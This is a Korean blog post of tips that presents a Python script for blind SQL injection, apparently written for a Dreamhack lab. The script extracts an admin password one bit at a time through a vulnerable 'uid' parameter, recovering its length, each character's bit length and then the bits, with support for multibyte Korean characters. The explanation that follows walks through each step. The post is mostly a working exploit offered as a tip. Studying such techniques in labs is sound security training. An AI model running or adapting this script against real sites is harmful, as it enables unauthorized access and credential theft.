본문 바로가기

꿀팁!

한글 blind sqlinjection

from email import header
from requests import get, head
host = "input your host"
password_length = 0

headers={"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8)"}
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}",headers=headers)
    if "exists" in r.text:
        break
print(f"password length: {password_length}")

password = ""
for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}",headers=headers)
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
    
    bits = ""
    for j in range(1, bit_length + 1):
        query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
        r = get(f"{host}/?uid={query}",headers=headers)
        if "exists" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)

첫번째는 구할문자열의 총길이를 구하는 부분

char_length를 통해 문자열길이를 구하고 점점올라가는 숫자랑 비교

 

그다음엔 글자를 찾는데 length를 통해 그글자의 binary값이 몇자인지 길이를 구하고 

그 길이를 토대로 아래 for문에서 0아니면 1의 값을 구한다.

그렇게 구한 binary값을 int(bits,2)를 통해 정수값으로 변환하고

int.to_bytes를 통해 정수를 big 엔디안 형태로 변환 (ascii값이 낮게 나올수있으므로 1이나올수있도록+7을 더한다음 8로 나눠준다. euc-kr의 값은 16//8->2 utf-8의 값은 24//8->3이 될것이다.)

변형된 문자를 인코딩에 맞게 변환해준후 출력하게 된다.

 

 

 

 

 

 

 

 

 

 

 

출처-https://learn.dreamhack.io/313#12